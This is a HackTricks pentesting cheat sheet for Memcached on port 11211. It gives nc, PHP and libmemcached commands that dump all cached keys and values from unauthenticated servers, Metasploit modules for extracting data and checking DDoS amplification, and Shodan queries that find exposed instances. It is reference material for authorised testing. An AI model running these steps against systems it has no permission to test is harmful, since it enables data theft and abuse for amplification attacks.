11211 - Pentesting Memcache - HackTricks

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11211 - Pentesting Memcache

Protocol Information
Memcached (pronunciation: mem-cashed, mem-cash-dee) is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. (From wikipedia)
Although Memcached supports SASL, most instances are exposed without authentication.
Default port: 11211
1
PORT      STATE SERVICE
2
11211/tcp open  unknown
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Enumeration
Manual
To ex-filtrate all the information saved inside a memcache instance you need to:
1.
Find slabs with active items
2.
Get the key names of the slabs detected before
3.
Ex-filtrate the saved data by getting the key names
Remember that this service is just a cache, so data may be appearing and  disappearing.
1
echo "version" | nc -vn -w 1 <IP> 11211      #Get version
2
echo "stats" | nc -vn -w 1 <IP> 11211        #Get status
3
echo "stats slabs" | nc -vn -w 1 <IP> 11211  #Get slabs
4
echo "stats items" | nc -vn -w 1 <IP> 11211  #Get items of slabs with info
5
echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211  #Get key names (the 0 is for unlimited output size)
6
echo "get <item_name>" | nc -vn -w 1 <IP> 11211  #Get saved info
7
​
8
#This php will just dump the keys, you need to use "get <item_name> later"
9
sudo apt-get install php-memcached
10
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
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Manual2
1
sudo apt install libmemcached-tools
2
memcstat --servers=127.0.0.1 #Get stats
3
memcdump --servers=127.0.0.1 #Get all items
4
memccat  --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
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Automatic
1
nmap -n -sV --script memcached-info -p 11211 <IP>   #Just gather info
2
msf > use auxiliary/gather/memcached_extractor      #Extracts saved data
3
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible 
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Shodan
port:11211 "STAT pid"
"STAT pid"

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Protocol Information